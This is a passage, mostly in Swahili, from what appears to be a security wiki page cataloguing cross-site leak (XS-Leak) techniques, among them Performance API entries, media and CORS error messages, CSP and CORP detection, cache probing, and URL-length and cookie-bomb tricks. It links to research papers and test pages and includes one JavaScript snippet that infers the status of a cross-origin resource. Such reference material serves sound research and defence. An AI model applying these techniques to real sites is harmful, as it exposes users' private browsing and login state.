Hii data nyingi inaweza kupatikana kupitia mbinu kama [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) au [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), ikitoa mtazamo wa kina wa taarifa zinazohusiana na utendaji. Zaidi ya hayo, API inarahisisha kupima muda wa utekelezaji kwa kuhesabu tofauti kati ya alama za muda zinazopatikana kutoka [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Hata hivyo, inapaswa kutambuliwa kwamba kwa shughuli fulani katika vivinjari kama Chrome, usahihi wa `performance.now()` unaweza kuwa na mipaka hadi milisekunde, ambayo inaweza kuathiri undani wa vipimo vya muda.
|
|
|
|
Zaidi ya vipimo vya muda, Performance API inaweza kutumika kwa maarifa yanayohusiana na usalama. Kwa mfano, uwepo au ukosefu wa kurasa katika kitu cha `performance` katika Chrome unaweza kuashiria matumizi ya `X-Frame-Options`. Kwa haswa, ikiwa ukurasa umezuia kuonyeshwa katika fremu kutokana na `X-Frame-Options`, hautarekodiwa katika kitu cha `performance`, ikitoa kidokezo kidogo kuhusu sera za uwasilishaji wa ukurasa.
|
|
|
|
### Error Leak
|
|
|
|
- **Inclusion Methods**: Frames, HTML Elements
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Ombi linalosababisha makosa halitaunda kipengee cha muda wa rasilimali.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
|
|
|
|
Inawezekana **kutofautisha kati ya msimbo wa hali wa jibu la HTTP** kwa sababu maombi yanayosababisha **kosa** hayaundai kipengee cha utendaji.
|
|
|
|
### Style Reload Error
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Kutokana na hitilafu ya kivinjari, maombi yanayosababisha makosa yanapakiwa mara mbili.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
|
|
|
Katika mbinu ya awali pia iligundulika kesi mbili ambapo hitilafu za kivinjari katika GC zinapelekea **rasilimali kupakiwa mara mbili wanaposhindwa kupakia**. Hii itasababisha kuingia kwa mara nyingi katika Performance API na hivyo inaweza kugundulika.
|
|
|
|
### Request Merging Error
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Maombi yanayosababisha kosa hayawezi kuunganishwa.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
|
|
|
Mbinu hii ilipatikana katika jedwali katika karatasi iliyoelezwa lakini hakuna maelezo ya mbinu hiyo yalipatikana. Hata hivyo, unaweza kupata msimbo wa chanzo ukikagua katika [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
|
|
|
### Empty Page Leak
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Majibu tupu hayaundai kuingia kwa muda wa rasilimali.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
|
|
|
Mshambuliaji anaweza kugundua ikiwa ombi limesababisha mwili wa jibu la HTTP tupu kwa sababu **kurasa tupu hazaundai kipengee cha utendaji katika vivinjari vingine**.
|
|
|
|
### **XSS-Auditor Leak**
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Kutumia XSS Auditor katika Madai ya Usalama, washambuliaji wanaweza kugundua vipengele maalum vya ukurasa wa wavuti kwa kuangalia mabadiliko katika majibu wakati payloads zilizoundwa zinachochea mfumo wa kuchuja wa auditor.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
|
|
|
Katika Madai ya Usalama (SA), XSS Auditor, iliyokusudiwa awali kuzuia mashambulizi ya Cross-Site Scripting (XSS), inaweza kwa njia ya ajabu kutumika kuvuja taarifa nyeti. Ingawa kipengele hiki kilijengwa kimeondolewa kutoka Google Chrome (GC), bado kinapatikana katika SA. Mnamo mwaka wa 2013, Braun na Heiderich walionyesha kwamba XSS Auditor inaweza kwa bahati mbaya kuzuia skripti halali, na kusababisha matokeo ya uwongo. Kwa kujenga juu ya hili, watafiti walitengeneza mbinu za kutoa taarifa na kugundua maudhui maalum kwenye kurasa za cross-origin, dhana inayojulikana kama XS-Leaks, ambayo iliripotiwa kwanza na Terada na kuelezewa na Heyes katika chapisho la blogu. Ingawa mbinu hizi zilikuwa maalum kwa XSS Auditor katika GC, iligundulika kwamba katika SA, kurasa zilizozuiwa na XSS Auditor hazizalishi kuingia katika Performance API, ikifichua njia ambayo taarifa nyeti inaweza bado kuvuja.
|
|
|
|
### X-Frame Leak
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
|
|
- **Summary:** Rasilimali yenye kichwa cha X-Frame-Options haizalishi kuingia kwa muda wa rasilimali.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
|
|
|
Ikiwa ukurasa **haukubaliki** kuonyeshwa katika **iframe** hauzaliwi **kuingia kwa utendaji**. Kama matokeo, mshambuliaji anaweza kugundua kichwa cha jibu **`X-Frame-Options`**.\
|
|
Vivyo hivyo inatokea ikiwa unatumia **tag ya embed.**
|
|
|
|
### Download Detection
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Upakuaji hauzali kuingia kwa muda wa rasilimali katika Performance API.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
|
|
|
Kama ilivyo kwa XS-Leak iliyoelezwa, **rasilimali inayopakuliwa** kwa sababu ya kichwa cha ContentDisposition, pia **haizalishi kuingia kwa utendaji**. Mbinu hii inafanya kazi katika vivinjari vyote vikuu.
|
|
|
|
### Redirect Start Leak
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Redirect
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Kuingia kwa muda wa rasilimali kunavuja wakati wa kuanza kwa uelekezaji.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
|
|
|
Tumepata mfano mmoja wa XS-Leak unaotumia tabia ya vivinjari vingine ambavyo vinaandika taarifa nyingi sana kwa maombi ya cross-origin. Kiwango kinatambua subset ya sifa ambazo zinapaswa kuwekwa sifuri kwa rasilimali za cross-origin. Hata hivyo, katika **SA** inawezekana kugundua ikiwa mtumiaji anae **elekezwa** na ukurasa wa lengo, kwa kuhoji **Performance API** na kuangalia data za **redirectStart timing**.
|
|
|
|
### Duration Redirect Leak
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Redirect
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Muda wa kuingia kwa muda ni hasi wakati uelekezaji unapotokea.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
|
|
|
Katika GC, **muda** wa maombi yanayosababisha **uelekezaji** ni **hasi** na hivyo inaweza **kutofautishwa** na maombi yasiyo ya uelekezaji.
|
|
|
|
### CORP Leak
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Rasilimali iliyo na ulinzi wa CORP haizalishi kuingia kwa muda wa rasilimali.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
|
|
|
Katika baadhi ya matukio, **kuingia kwa nextHopProtocol** kunaweza kutumika kama mbinu ya kuvuja. Katika GC, wakati kichwa cha **CORP** kimewekwa, nextHopProtocol itakuwa **tupu**. Kumbuka kwamba SA haitaunda kuingia kwa utendaji kabisa kwa rasilimali zilizo na CORP.
|
|
|
|
### Service Worker
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: API Usage
|
|
- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
|
|
- **Summary:** Gundua ikiwa mfanyakazi wa huduma ameandikishwa kwa asili maalum.
|
|
- **Code Example**:
|
|
|
|
Wafanyakazi wa huduma ni muktadha wa skripti unaotegemea matukio ambayo yanafanya kazi katika asili. Wanakimbia katika mandharinyuma ya ukurasa wa wavuti na wanaweza kuingilia, kubadilisha, na **kuficha rasilimali** ili kuunda programu za wavuti zisizo na mtandao.\
|
|
Ikiwa **rasilimali iliyofichwa** na **mfanyakazi wa huduma** inafikiwa kupitia **iframe**, rasilimali hiyo itakuwa **imepakuliwa kutoka kwenye cache ya mfanyakazi wa huduma**.\
|
|
Ili kugundua ikiwa rasilimali hiyo ilipakuliwa kutoka kwenye cache ya mfanyakazi wa huduma, **Performance API** inaweza kutumika.\
|
|
Hii inaweza pia kufanywa kwa shambulizi la Timing (angalia karatasi kwa maelezo zaidi).
|
|
|
|
### Cache
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Timing
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
|
- **Summary:** Inawezekana kuangalia ikiwa rasilimali ilihifadhiwa kwenye cache.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
|
|
|
|
Kwa kutumia [Performance API](xs-search.md#performance-api) inawezekana kuangalia ikiwa rasilimali imehifadhiwa.
|
|
|
|
### Network Duration
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
|
- **Summary:** Inawezekana kupata muda wa mtandao wa ombi kutoka kwa `performance` API.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
|
|
|
## Error Messages Technique
|
|
|
|
### Media Error
|
|
|
|
- **Inclusion Methods**: HTML Elements (Video, Audio)
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
|
- **Summary:** Katika Firefox inawezekana kwa usahihi kuvuja msimbo wa hali wa ombi la cross-origin.
|
|
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
|
|
```javascript
|
|
// Code saved here in case it dissapear from the link
|
|
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
|
|
window.addEventListener("load", startup, false)
|
|
function displayErrorMessage(msg) {
|
|
document.getElementById("log").innerHTML += msg
|
|
}
|
|
|
|
function startup() {
|
|
let audioElement = document.getElementById("audio")
|
|
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
|
|
document.getElementById("startTest").addEventListener(
|
|
"click",
|
|
function () {
|
|
audioElement.src = document.getElementById("testUrl").value
|
|
},
|
|
false
|
|
)
|
|
// Create the event handler
|
|
var errHandler = function () {
|
|
let err = this.error
|
|
let message = err.message
|
|
let status = ""
|
|
|
|
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
|
|
// Firefox error.message when the request loads successfully: "Failed to init decoder"
|
|
if (
|
|
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
|
|
message.indexOf("Failed to init decoder") != -1
|
|
) {
|
|
status = "Success"
|
|
} else {
|
|
status = "Error"
|
|
}
|
|
displayErrorMessage(
|
|
"<strong>Status: " +
|
|
status +
|
|
"</strong> (Error code:" +
|
|
err.code +
|
|
" / Error Message: " +
|
|
err.message +
|
|
")<br>"
|
|
)
|
|
}
|
|
audioElement.onerror = errHandler
|
|
}
|
|
```
|
|
The `MediaError` interface's message property uniquely identifies resources that load successfully with a distinct string. An attacker can exploit this feature by observing the message content, thereby deducing the response status of a cross-origin resource.
|
|
|
|
### CORS Error
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
|
- **Summary:** Katika Security Assertions (SA), ujumbe wa kosa la CORS bila kukusudia unafichua URL kamili ya maombi yaliyorejelewa.
|
|
- **Code Example**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
|
|
|
Hii mbinu inamuwezesha mshambuliaji **kuchukua eneo la kuhamasisha la tovuti ya cross-origin** kwa kutumia jinsi vivinjari vya Webkit vinavyoshughulikia maombi ya CORS. Kwa hakika, wakati **ombwe la CORS** linatumwa kwa tovuti lengwa inayotoa uhamasishaji kulingana na hali ya mtumiaji na kivinjari kinakataa ombi hilo, **URL kamili ya lengo la uhamasishaji** inafichuliwa ndani ya ujumbe wa kosa. Uthibitisho huu sio tu unafichua ukweli wa uhamasishaji bali pia unafichua mwisho wa uhamasishaji na **parameta za uchunguzi za nyeti** zinazoweza kuwepo.
|
|
|
|
### SRI Error
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
|
- **Summary:** Katika Security Assertions (SA), ujumbe wa kosa la CORS bila kukusudia unafichua URL kamili ya maombi yaliyorejelewa.
|
|
- **Code Example**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
|
|
|
Mshambuliaji anaweza kutumia **ujumbe wa kosa wa kina** ili kubaini ukubwa wa majibu ya cross-origin. Hii inawezekana kutokana na mfumo wa Subresource Integrity (SRI), ambao unatumia sifa ya uaminifu kuthibitisha kwamba rasilimali zilizopatikana, mara nyingi kutoka kwa CDNs, hazijaharibiwa. Ili SRI ifanye kazi kwenye rasilimali za cross-origin, hizi lazima ziwe **CORS-enabled**; vinginevyo, hazitakuwa chini ya ukaguzi wa uaminifu. Katika Security Assertions (SA), kama vile kosa la CORS XS-Leak, ujumbe wa kosa unaweza kukamatwa baada ya ombi la fetch lililokuwa na sifa ya uaminifu kushindwa. Wavamizi wanaweza kwa makusudi **kusababisha kosa hili** kwa kupewa **thamani ya hash isiyo sahihi** kwa sifa ya uaminifu ya ombi lolote. Katika SA, ujumbe wa kosa unaotokana bila kukusudia unafichua urefu wa maudhui ya rasilimali iliyotakiwa. Uvujaji huu wa taarifa unamuwezesha mshambuliaji kubaini tofauti katika ukubwa wa majibu, ukifungua njia kwa mashambulizi ya kisasa ya XS-Leak.
|
|
|
|
### CSP Violation/Detection
|
|
|
|
- **Inclusion Methods**: Pop-ups
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
|
- **Summary:** Kuruhusu tovuti ya wahanga pekee katika CSP ikiwa tumeipata inajaribu kuhamasisha kwenye kikoa tofauti CSP itasababisha kosa linaloweza kugundulika.
|
|
- **Code Example**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
|
|
|
XS-Leak inaweza kutumia CSP kugundua ikiwa tovuti ya cross-origin ilihamishwa kwa kikoa tofauti. Uvujaji huu unaweza kugundua uhamasishaji, lakini pia, kikoa cha lengo la uhamasishaji kinavuja. Wazo la msingi la shambulio hili ni **kuruhusu kikoa lengwa kwenye tovuti ya mshambuliaji**. Mara tu ombi linapotolewa kwa kikoa lengwa, linahamasisha kwenye kikoa cha cross-origin. **CSP inazuia** ufikiaji wake na kuunda **ripoti ya ukiukaji inayotumika kama mbinu ya uvujaji**. Kulingana na kivinjari, **ripoti hii inaweza kuvuja eneo la lengo la uhamasishaji**.\
|
|
Vivinjari vya kisasa havitafichui URL ambayo ilihamishwa, lakini bado unaweza kugundua kwamba uhamasishaji wa cross-origin ulisababisha.
|
|
|
|
### Cache
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
|
|
- **Summary:** Futa faili kutoka kwenye cache. Fungua ukurasa wa lengo angalia ikiwa faili ipo kwenye cache.
|
|
- **Code Example:**
|
|
|
|
Vivinjari vinaweza kutumia cache moja iliyoshirikiwa kwa tovuti zote. Bila kujali asili yao, inawezekana kubaini ikiwa ukurasa wa lengo ume **omba faili maalum**.
|
|
|
|
Ikiwa ukurasa unaload picha tu ikiwa mtumiaji amejiandikisha, unaweza **kubatilisha** **rasilimali** (hivyo haipo tena kwenye cache ikiwa ilikuwa, angalia viungo vya maelezo zaidi), **fanya ombi** ambalo linaweza kupakia rasilimali hiyo na kujaribu kupakia rasilimali hiyo **kwa ombi mbaya** (kwa mfano, kutumia kichwa cha referer chenye urefu wa kupita kiasi). Ikiwa rasilimali hiyo ilipakia **haikuletea kosa lolote**, ni kwa sababu ilikuwa **cached**.
|
|
|
|
### CSP Directive
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
|
|
- **Summary:** Miongozo ya kichwa cha CSP inaweza kuchunguzwa kwa kutumia sifa ya iframe ya CSP, ikifichua maelezo ya sera.
|
|
- **Code Example**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
|
|
|
Kipengele kipya katika Google Chrome (GC) kinawaruhusu kurasa za wavuti **kupendekeza Sera ya Usalama wa Maudhui (CSP)** kwa kuweka sifa kwenye kipengele cha iframe, huku miongozo ya sera ikitolewa pamoja na ombi la HTTP. Kawaida, maudhui yaliyoingizwa lazima **yathibitishwe kupitia kichwa cha HTTP**, au **ukurasa wa kosa unaonyeshwa**. Hata hivyo, ikiwa iframe tayari inasimamiwa na CSP na sera iliyopendekezwa mpya si kali zaidi, ukurasa utafunguka kawaida. Mfumo huu unafungua njia kwa mshambuliaji **gundua miongozo maalum ya CSP** ya ukurasa wa cross-origin kwa kutambua ukurasa wa kosa. Ingawa udhaifu huu ulitambuliwa kama umerekebishwa, matokeo yetu yanaonyesha **mbinu mpya ya uvujaji** inayoweza kugundua ukurasa wa kosa, ikionyesha kwamba tatizo la msingi halikushughulikiwa kikamilifu.
|
|
|
|
### **CORP**
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
|
|
- **Summary:** Rasilimali zilizohifadhiwa kwa Sera ya Rasilimali za Cross-Origin (CORP) zitatupa kosa wakati zinapojaribiwa kutoka kwa asili isiyoruhusiwa.
|
|
- **Code Example**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
|
|
|
|
Kichwa cha CORP ni kipengele kipya cha usalama wa jukwaa la wavuti ambacho kinapowekwa **kinazuia maombi ya cross-origin yasiyo na cors kwa rasilimali iliyotolewa**. Uwepo wa kichwa hiki unaweza kugundulika, kwa sababu rasilimali iliyo na ulinzi wa CORP itatoa **kosa wakati inajaribiwa**.
|
|
|
|
### CORB
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Headers
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
|
|
- **Summary**: CORB inaweza kuruhusu wavamizi kugundua wakati **kichwa cha `nosniff` kinapatikana** katika ombi.
|
|
- **Code Example**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
|
|
|
|
Angalia kiungo kwa maelezo zaidi kuhusu shambulio.
|
|
|
|
### CORS error on Origin Reflection misconfiguration <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Headers
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
|
- **Summary**: Ikiwa kichwa cha Origin kinarejelewa katika kichwa `Access-Control-Allow-Origin` inawezekana kuangalia ikiwa rasilimali ipo kwenye cache tayari.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
|
|
|
Katika hali ambapo **kichwa cha Origin** kinarejelewa katika kichwa `Access-Control-Allow-Origin` mshambuliaji anaweza kutumia tabia hii kujaribu **kupata** **rasilimali** katika **CORS** hali. Ikiwa **kosa** **halijazuiliwa**, inamaanisha kwamba ilipatikana **kwa usahihi kutoka kwenye wavuti**, ikiwa kosa **limezuiliwa**, ni kwa sababu ilipatikana **kutoka kwenye cache** (kosa linaonekana kwa sababu cache inahifadhi jibu lenye kichwa cha CORS kinachoruhusu kikoa cha asili na si kikoa cha mshambuliaji)**.**\
|
|
Kumbuka kwamba ikiwa asili haijarejelewa lakini wildcard inatumika (`Access-Control-Allow-Origin: *`) hii haitafanya kazi.
|
|
|
|
## Readable Attributes Technique
|
|
|
|
### Fetch Redirect
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
|
|
- **Summary:** GC na SA huruhusu kuangalia aina ya majibu (opaque-redirect) baada ya uhamasishaji kukamilika.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
|
|
|
|
Kuwasilisha ombi kwa kutumia Fetch API na `redirect: "manual"` na vigezo vingine, inawezekana kusoma sifa ya `response.type` na ikiwa ni sawa na `opaqueredirect` basi jibu lilikuwa uhamasishaji.
|
|
|
|
### COOP
|
|
|
|
- **Inclusion Methods**: Pop-ups
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
|
|
- **Summary:** Kurasa zilizohifadhiwa na Sera ya Mfunguo wa Cross-Origin (COOP) zinazuia ufikiaji kutoka kwa mwingiliano wa cross-origin.
|
|
- **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
|
|
|
Mshambuliaji ana uwezo wa kubaini uwepo wa kichwa cha Sera ya Mfunguo wa Cross-Origin (COOP) katika jibu la HTTP la cross-origin. COOP inatumika na programu za wavuti kuzuia tovuti za nje kupata marejeleo ya dirisha yasiyo ya kawaida. Uwazi wa kichwa hiki unaweza kugundulika kwa kujaribu kufikia **`contentWindow` reference**. Katika hali ambapo COOP inatumika kwa masharti, **sifa ya `opener`** inakuwa kiashiria: ni **undefined** wakati COOP inatumika, na **imefafanuliwa** katika ukosefu wake.
|
|
|
|
### URL Max Length - Server Side
|
|
|
|
- **Inclusion Methods**: Fetch API, HTML Elements
|
|
- **Detectable Difference**: Status Code / Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
|
- **Summary:** Gundua tofauti katika majibu kwa sababu ya urefu wa jibu la uhamasishaji unaweza kuwa mrefu sana kiasi kwamba seva inajibu kwa kosa na tahadhari inaundwa.
|
|
- **Code Example**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
|
|
|
Ikiwa uhamasishaji wa upande wa seva unatumia **ingizo la mtumiaji ndani ya uhamasishaji** na **data za ziada**. Inawezekana kugundua tabia hii kwa sababu kawaida **seva** zina **kikomo cha urefu wa ombi**. Ikiwa **data ya mtumiaji** ni hiyo **urefu - 1**, kwa sababu **uhamasishaji** unatumia **data hiyo** na **kuongeza** kitu **cha ziada**, itasababisha **kosa linaloweza kugundulika kupitia Matukio ya Kosa**.
|
|
|
|
Ikiwa unaweza kwa namna fulani kuweka cookies kwa mtumiaji, unaweza pia kufanya shambulio hili kwa **kweka cookies za kutosha** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) hivyo na **urefu wa jibu** wa **jibu sahihi** kosa **linasababishwa**. Katika kesi hii, kumbuka kwamba ikiwa unakusababisha ombi hili kutoka kwenye tovuti moja, `<script>` itatuma cookies moja kwa moja (hivyo unaweza kuangalia makosa).\
|
|
Mfano wa **cookie bomb + XS-Search** unaweza kupatikana katika Suluhisho lililokusudiwa la andiko hili: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
|
|
|
`SameSite=None` au kuwa katika muktadha sawa kawaida inahitajika kwa aina hii ya shambulio.
|
|
|
|
### URL Max Length - Client Side
|
|
|
|
- **Inclusion Methods**: Pop-ups
|
|
- **Detectable Difference**: Status Code / Content
|
|
- **More info**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
|
- **Summary:** Gundua tofauti katika majibu kwa sababu ya urefu wa jibu la uhamasishaji unaweza kuwa mrefu sana kwa ombi kwamba tofauti inaweza kuonekana.
|
|
- **Code Example**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
|
|
|
Kulingana na [nyaraka za Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), urefu wa juu wa URL wa Chrome ni 2MB.
|
|
|
|
